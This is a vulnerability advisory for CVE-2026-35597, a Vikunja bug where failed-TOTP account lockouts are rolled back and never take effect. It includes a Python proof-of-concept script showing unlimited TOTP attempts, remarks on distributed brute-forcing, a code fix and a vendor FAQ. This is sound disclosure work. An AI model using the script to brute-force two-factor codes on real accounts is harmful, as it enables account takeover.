CVE-2026-35597

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

if err != nil {
    if user2.IsErrInvalidTOTPPasscode(err) {
        user2.HandleFailedTOTPAuth(s, user)
    }
    _ = s.Rollback()
    return err
}

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

import requests, time, pyotp

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def h(token):
    return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

# setup: login, enroll and enable TOTP
token = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"]
secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"]
totp = pyotp.TOTP(secret)
requests.post(f"{API}/user/settings/totp/enable", headers=h(token),
              json={"passcode": totp.now()})

# send 9 failed attempts (rate limit is 10/min)
for i in range(1, 10):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)
time.sleep(65)
for i in range(10, 13):
    r = requests.post(f"{API}/login",
        json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"})
    print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}")

# wait for rate limit, try with valid TOTP
time.sleep(65)
r = requests.post(f"{API}/login",
    json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()})
print(f"Valid TOTP login: {r.status_code}")  # 200 - account was never locked

Output:

Attempt 1: 412 code=1017
...
Attempt 9: 412 code=1017
Attempt 10: 412 code=1017
Attempt 11: 412 code=1017
Attempt 12: 412 code=1017
Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

CVE-2026-35597 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

// Use a new session so the lockout persists regardless of caller's rollback
lockoutSession := db.NewSession()
defer lockoutSession.Close()
err = user.SetStatus(lockoutSession, StatusAccountLocked)
if err != nil {
    _ = lockoutSession.Rollback()
    return
}
_ = lockoutSession.Commit()

Found and reported by aisafe.io

1. What is CVE-2026-35597? CVE-2026-35597 is a medium-severity security vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0.
2. How severe is CVE-2026-35597? CVE-2026-35597 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35597? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35597? Yes. CVE-2026-35597 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35597 exploitable, and should I be worried? Whether CVE-2026-35597 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35597 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35597? Upgrade code.vikunja.io/api to 2.3.0 or later.